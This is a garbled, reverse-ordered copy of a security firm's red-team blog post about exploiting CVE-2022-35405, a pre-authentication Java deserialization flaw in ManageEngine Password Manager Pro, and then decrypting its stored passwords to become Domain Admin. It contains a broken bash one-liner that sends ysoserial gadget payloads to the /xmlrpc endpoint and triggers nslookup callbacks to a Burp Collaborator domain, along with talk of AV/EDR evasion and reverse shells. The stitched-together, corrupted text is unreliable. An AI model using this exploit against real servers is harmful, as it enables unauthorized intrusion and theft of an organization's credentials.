In our case, the winner was …🥁🥁🥁… CommonsCollections5!įrom that point on it’s just a matter of Powershell-fu, obfuscation, and AV/EDR evasion to get your reverse shell. The idea behind this brute-force approach is that, if a given gadget works, then the server tries to resolve $gadgetName.$ourBurpCollaboratorDomain and we would get an entry in our Burp Suite Collaborator client showing that the attack worked and which gadget(s) did the job. We hope one-liners estimators will love it, for the others - yes we know it could look better but that’s how lazy hackers would do it 😜 " | base64 -w 0 2>/dev/null echo done | sort -u | while read line do curl $target/xmlrpc -H "Content-Type: text/xml" -data-binary "acidburnacidburn $line " done Java -jar ysoserial.jar 2> & 1 | awk '' | head -n 41 | tail -n +10 | while read line do echo $line done | while read line do java -jar ysoserial.jar $line "cmd.exe /c nslookup $line. To do that we usually use some glue bash scripting, even though there is also a Burp Suite extension called Java Deserialization Scanner by our friend Federico Dotta which could be used to automate the detection and even the exploitation of insecure deserializations in Java web applications. Once done you could move on with the proper exploitation. The power of ysoserial is that you could blindly create serialiazed objects for all the known gadgets and just try them to understand which one is working. built a tool called ysoserial which contains a list of known gadgets and simplifies the creation of serialized objects. Hopefully, tools come in handy for this task.

To do so, you must find a gadget chain, which process might be tedious and usually requires you to have the sourcecode or at least the bytecode of the application (if you are interested in how to find your own gadgets you should checkout, , and ).

If you manage to force a Java application into deserializing an arbitrary object, then you could instanciate arbitrary classes among the available ones and eventually obtain arbitrary code execution. Java insecure deserialization is very dangerous.

The Y4er’s write-up is pretty detailed, therefore we won’t dive deep into it but we will just show how to quickly craft a working exploit.īased on the patch diff we know that the vulnerability is in the XML-RCP handler, where an attacker could add a Java serialized object, which will be unserialized by the server once received. The vulnerability, which scored a CVSS of 9.8 ( CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) has been discovered by Vinicus and there is a great write-up by Y4er (even though you might need some Google Translate-fu). The instace exposed by our customer was vulnerable to a fairly recent Unauthenticated Remote Code Execution (CVE-2022-35405). Sometimes - as an attacker - you are just lucky and that was the case.

With this potential goal in mind, we checked the version of the ManageEngine Password Manager Pro instance and, based on that, we searched for known vulnerabilities.

All That Glitters is Not Goldīesides what stated above, an internet-exposed password manager is also a great target for initial access as being able to compromise it might lead to full infrastructure takeover. Recently we were engaged for a Red Teaming Assessment and, while analyzing the external perimeter during the initial reconnaissance phase, we detected an instance of ManageEngine Password Manager Pro, which, as suggested by its name, is a password manager.įinding a self-hosted password manager is usually a clue that the company has a good security awareness and you could expect your beloved Password Spraying for initial access to fail. When we - as in Shielder - say Red Team(ing) refer to the latest one: a real simulation of an attack, using the same techniques a real malicious party would use, to understand if the Security Operation Center (SOC) is able to detect and respond properly.

A specific type of security assessment which could involve the technological, human, and physical domains aimed to test the detection and response capabilities of a company.

a Network Penetration Test is sometimes defined a Red Teaming).

Any type of activity which involves some offensive security operations (i.e.

A team performing offensive security activities.

Red Team(ing) is an abused word in the InfoSec world and it’s commonly used to define various things: How to Decrypt Manage Engine PMP Passwords for Fun and Domain Admin - a Red Teaming Tale TL DRĭuring a recent Red Teaming assessment we have found an internet-exposed instance of ManageEngine’s Password Manager Pro which was vulnerable to a pre-authentication Remote Code Execution ( CVE-2022-35405).Īfter gaining code execution we reverse engineered the password encryption/decryption routine to decrypt all the passwords and hack our way to become Domain Admin.
